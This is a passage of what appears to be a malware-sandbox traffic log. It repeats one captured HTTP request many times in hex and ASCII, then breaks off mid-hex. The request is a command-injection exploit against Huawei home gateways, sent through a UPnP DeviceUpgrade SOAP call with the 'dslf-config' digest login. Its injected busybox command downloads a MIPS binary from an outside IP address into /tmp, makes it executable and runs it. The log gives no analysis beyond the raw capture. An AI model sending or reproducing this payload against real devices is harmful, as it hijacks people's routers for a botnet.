2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 